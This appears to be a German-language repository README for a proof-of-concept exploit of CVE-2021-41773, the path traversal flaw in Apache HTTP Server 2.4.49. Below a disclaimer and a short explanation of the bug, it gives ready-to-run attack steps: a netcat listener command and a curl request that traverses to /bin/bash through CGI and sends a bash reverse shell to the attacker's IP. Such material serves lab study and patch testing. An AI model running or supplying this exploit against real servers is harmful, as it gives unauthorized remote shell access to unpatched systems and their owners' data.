
Lehrreiches Proof-of-Concept für CVE-2021-41773, das Pfad-Traversal zur Remotecodeausführung auf Apache HTTP Server 2.4.49 mit einem Reverse-Shell-Payload demonstriert.
⚠️ Haftungsausschluss
Dieses Repository ist ausschließlich für Bildungs- und Forschungszwecke bestimmt.
Die hier bereitgestellten Informationen und Codes können in kontrollierten Umgebungen wie privaten Labormaschinen verwendet werden.
Die unbefugte Nutzung dieses Codes gegen Systeme, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Erlaubnis zum Testen haben, ist illegal und unethisch.
Der Autor übernimmt keine Haftung für Missbrauch oder verursachte Schäden.
CVE-2021-41773 betrifft Apache HTTP Server Version 2.4.49.
Aufgrund einer fehlerhaften Eingabevalidierung bei der Pfadnormalisierung kann ein Angreifer Path Traversal mittels kodierter Zeichen wie %2e ausnutzen, um auf beliebige Dateien zuzugreifen.
Wenn CGI aktiviert ist, kann diese Schwachstelle zu nicht authentifizierter Remotecodeausführung (RCE) eskaliert werden.
Eine bösartige curl-Anfrage wird erstellt, um die Path-Traversal-Schwachstelle auszunutzen. Wenn CGI aktiviert ist, können Angreifer auf /bin/bash zugreifen und beliebige Shell-Befehle ausführen.
In diesem Beispiel wird eine Reverse-Shell-Nutzlast gesendet, um Shell-Zugriff auf den Server zu erhalten.
Dieser Exploit wurde in einer privaten Laborumgebung getestet. Nachfolgend sind die Schritte und Ergebnisse.
Ein Nmap-Scan identifizierte das Ziel mit Apache/2.4.49.

Eine Reverse-Shell-Nutzlast wurde mittels einer manipulierten curl-Anfrage übermittelt.

Auf dem Listener des Angreifers wurde erfolgreich eine Reverse Shell empfangen.

Schritt 1: Netcat-Listener starten
nc -nvlp 4444
Schritt 2: Exploit ausführen
curl -v 'http://<target>:<port>/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/bash' -d 'echo Content-Type: text/plain; echo; bash -i >& /dev/tcp/<your-ip>/4444 0>&1' -H 'Content-Type: text/plain'
Schauen Sie sich die detaillierte Anleitung und Theorie in meinem Medium-Beitrag an:
👉 Blog auf Medium lesen